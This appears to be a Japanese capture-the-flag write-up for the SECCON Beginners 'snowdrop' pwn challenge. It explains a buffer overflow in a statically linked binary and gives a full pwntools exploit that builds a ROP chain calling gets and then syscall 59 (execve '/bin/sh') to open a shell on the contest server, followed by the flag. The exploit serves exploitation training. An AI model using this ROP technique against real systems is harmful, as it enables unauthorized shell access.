これでもうあの危険なone gadgetは使わせないよ!
実行ファイルchall
とそのソースコードsrc.c
が配布される。
chall
をGhidraに投げて中身を見ると、どうもlibcがstatic linkされてるようだ。
checksecはCanaryがあると言っていたがどうやらそれはlibc部分だけで、main
はBOFできそうなのでそこからROPを組む。
ただし、one_gadgetへの殺意が高くexecveやsystemといった関数は消されているため、syscallの59を使って無理矢理execve("/bin/sh", 0, 0)
を組みあげた
#!python
from struct import pack
from pwn import *
context.arch='amd64'
target = 'chall'
elf = ELF(target)
local = 0
debug = 0
if local:
io = process(target)
if debug:
gdb.attach(io)
else:
io = remote('snowdrop.quals.beginners.seccon.jp', 9002)
pop_rdi = 0x0048d3d1 # pop rdi ; ret ; (1 found)
pop_rsi = 0x0048cdbf # pop rsi ; ret ; (1 found)
pop_rdx = 0x004017cf # pop rdx ; ret ; (1 found)
pop_rax = 0x0047d2ba # pop rax ; ret ; (1 found)
syscall = 0x0047ffe9 # syscall ; ret ; (1 found)
stack = io.readuntil('finish').decode()
print(stack)
#rbp = eval(stack.split('\n')[6][10:28])
#print(f'rbp = {rbp:016x}')
bin_sh = 0x004ba0e0
payload = b'A'*0x18
payload += pack(pop_rdi)
payload += pack(bin_sh)
payload += pack(0x00412b60) # gets
payload += pack(pop_rdi)
payload += pack(bin_sh)
payload += pack(pop_rsi)
payload += pack(0)
payload += pack(pop_rdx)
payload += pack(0)
payload += pack(pop_rax)
payload += pack(59)
payload += pack(syscall)
io.sendlineafter('?', payload)
payload = b'/bin/sh'
io.sendlineafter('finish', payload)
io.interactive()
ctf4b{h1ghw4y_t0_5h3ll}
想定解はNXが無効であることを利用したshellcodeの実行だったらしいので無駄な苦労をした感がすごいです…